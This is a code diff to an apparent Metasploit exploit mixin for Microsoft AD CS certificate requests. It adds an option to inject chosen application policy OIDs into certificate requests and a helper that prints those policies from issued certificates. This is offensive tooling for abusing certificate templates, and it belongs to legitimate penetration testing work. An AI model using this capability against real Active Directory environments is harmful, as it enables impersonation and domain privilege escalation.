@@ -22,6 +22,8 @@ module Exploit::Remote::MsIcpr
2222 OID_NTDS_OBJECTSID = '1.3.6.1.4.1.311.25.2.1' . freeze
2323 # [[MS-WCCE]: 2.2.2.7.10 szENROLLMENT_NAME_VALUE_PAIR](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/92f07a54-2889-45e3-afd0-94b60daa80ec)
2424 OID_ENROLLMENT_NAME_VALUE_PAIR = '1.3.6.1.4.1.311.13.2.1' . freeze
25+ # [[MS-WCCE]: 2.2.2.7.7.3 Encoding a Certificate Application Policy Extension](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/160b96b1-c431-457a-8eed-27c11873f378)
26+ OID_APPLICATION_CERT_POLICIES = '1.3.6.1.4.1.311.21.10' . freeze
2527
2628 class MsIcprError < StandardError ; end
2729 class MsIcprConnectionError < MsIcprError ; end
@@ -39,6 +41,7 @@ def initialize(info = {})
3941 OptString . new ( 'ALT_DNS' , [ false , 'Alternative certificate DNS' ] ) ,
4042 OptString . new ( 'ALT_SID' , [ false , 'Alternative object SID' ] ) ,
4143 OptString . new ( 'ALT_UPN' , [ false , 'Alternative certificate UPN (format: USER@DOMAIN)' ] ) ,
44+ OptString . new ( 'ADD_CERT_APP_POLICY' , [ false , 'Add certificate application policy OIDs' ] , regex : /^\d +(\. \d +)+(([;,]\s *|\s +)\d +(\. \d +)+)*$/ ) ,
4245 OptPath . new ( 'PFX' , [ false , 'Certificate to request on behalf of' ] ) ,
4346 OptString . new ( 'ON_BEHALF_OF' , [ false , 'Username to request on behalf of (format: DOMAIN\\USER)' ] ) ,
4447 Opt ::RPORT ( 445 )
@@ -131,6 +134,7 @@ def do_request_cert(icpr, opts)
131134 alt_sid = opts [ :alt_sid ] || ( datastore [ 'ALT_SID' ] . blank? ? nil : datastore [ 'ALT_SID' ] )
132135 alt_upn = opts [ :alt_upn ] || ( datastore [ 'ALT_UPN' ] . blank? ? nil : datastore [ 'ALT_UPN' ] )
133136 algorithm = opts [ :algorithm ] || datastore [ 'DigestAlgorithm' ]
137+ application_policies = opts [ :add_cert_app_policy ] || ( datastore [ 'ADD_CERT_APP_POLICY' ] . blank? ? nil : datastore [ 'ADD_CERT_APP_POLICY' ] . split ( /[;,]\s *|\s +/ ) )
134138 status_msg << " - alternate DNS: #{ alt_dns } " if alt_dns
135139 status_msg << " - alternate UPN: #{ alt_upn } " if alt_upn
136140 status_msg << " - digest algorithm: #{ algorithm } " if algorithm
@@ -140,7 +144,8 @@ def do_request_cert(icpr, opts)
140144 dns : alt_dns ,
141145 msext_sid : alt_sid ,
142146 msext_upn : alt_upn ,
143- algorithm : algorithm
147+ algorithm : algorithm ,
148+ application_policies : application_policies
144149 )
145150
146151 on_behalf_of = opts [ :on_behalf_of ] || ( datastore [ 'ON_BEHALF_OF' ] . blank? ? nil : datastore [ 'ON_BEHALF_OF' ] )
@@ -205,6 +210,13 @@ def do_request_cert(icpr, opts)
205210 print_status ( "Certificate UPN: #{ upn . join ( ', ' ) } " )
206211 end
207212
213+ unless ( policy_oids = get_cert_policy_oids ( response [ :certificate ] ) ) . empty?
214+ print_status ( "Certificate Policies:" )
215+ policy_oids . each do |oid |
216+ print_status ( " * #{ oid . value } " + ( oid . label . present? ? " (#{ oid . label } )" : '' ) )
217+ end
218+ end
219+
208220 pkcs12 = OpenSSL ::PKCS12 . create ( '' , '' , private_key , response [ :certificate ] )
209221 # see: https://pki-tutorial.readthedocs.io/en/latest/mime.html#mime-types
210222 info = "#{ simple . client . default_domain } \\ #{ datastore [ 'SMBUser' ] } Certificate"
@@ -239,8 +251,10 @@ def do_request_cert(icpr, opts)
239251 # @param [String] dns An alternative DNS name to use.
240252 # @param [String] msext_sid An explicit SID to specify for strong identity mapping.
241253 # @param [String] msext_upn An alternative User Principal Name (this is a Microsoft-specific feature).
254+ # @param [String] algorithm The algorithm to use when signing the CSR.
255+ # @param [Array<String>] application_policies OIDs to add as application policies.
242256 # @return [OpenSSL::X509::Request] The request object.
243- def build_csr ( cn :, private_key :, dns : nil , msext_sid : nil , msext_upn : nil , algorithm : 'SHA256' )
257+ def build_csr ( cn :, private_key :, dns : nil , msext_sid : nil , msext_upn : nil , algorithm : 'SHA256' , application_policies : [ ] )
244258 request = OpenSSL ::X509 ::Request . new
245259 request . version = 1
246260 request . subject = OpenSSL ::X509 ::Name . new ( [
@@ -265,6 +279,14 @@ def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algor
265279 extensions << OpenSSL ::X509 ::Extension . new ( OID_NTDS_CA_SECURITY_EXT , ntds_ca_security_ext . to_der , false )
266280 end
267281
282+ unless application_policies . empty?
283+ # todo: need to work this out so application_policies is processed as a proper array
284+ application_cert_policies = Rex ::Proto ::CryptoAsn1 ::X509 ::CertificatePolicies . new (
285+ certificatePolicies : application_policies . map { |policy_oid | Rex ::Proto ::CryptoAsn1 ::X509 ::PolicyInformation . new ( policyIdentifier : policy_oid ) }
286+ )
287+ extensions << OpenSSL ::X509 ::Extension . new ( OID_APPLICATION_CERT_POLICIES , application_cert_policies . to_der , false )
288+ end
289+
268290 unless extensions . empty?
269291 request . add_attribute ( OpenSSL ::X509 ::Attribute . new (
270292 'extReq' ,
@@ -349,6 +371,19 @@ def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256')
349371 )
350372 end
351373
374+ # Get the certificate policy OIDs from the certificate.
375+ #
376+ # @param [OpenSSL::X509::Certificate] cert
377+ # @return [Array<Rex::Proto::CryptoAsn1::ObjectId>] The policy OIDs if any were found.
378+ def get_cert_policy_oids ( cert )
379+ ext = cert . extensions . find { |e | e . oid == 'ms-app-policies' }
380+ return [ ] unless ext
381+
382+ cert_policies = Rex ::Proto ::CryptoAsn1 ::X509 ::CertificatePolicies . parse ( ext . value_der )
383+ cert_policies . value . map { |policy_info | Rex ::Proto ::CryptoAsn1 ::OIDs . value ( policy_info [ :policyIdentifier ] . value ) }
384+ end
385+
386+
352387 # Get the object security identifier (SID) from the certificate. This is a Microsoft specific extension.
353388 #
354389 # @param [OpenSSL::X509::Certificate] cert
@@ -402,7 +437,6 @@ def get_cert_san_dns(cert)
402437 end
403438 end
404439
405-
406440 # Get the E-mail addresses from the certificate.
407441 #
408442 # @param [OpenSSL::X509::Certificate] cert
0 commit comments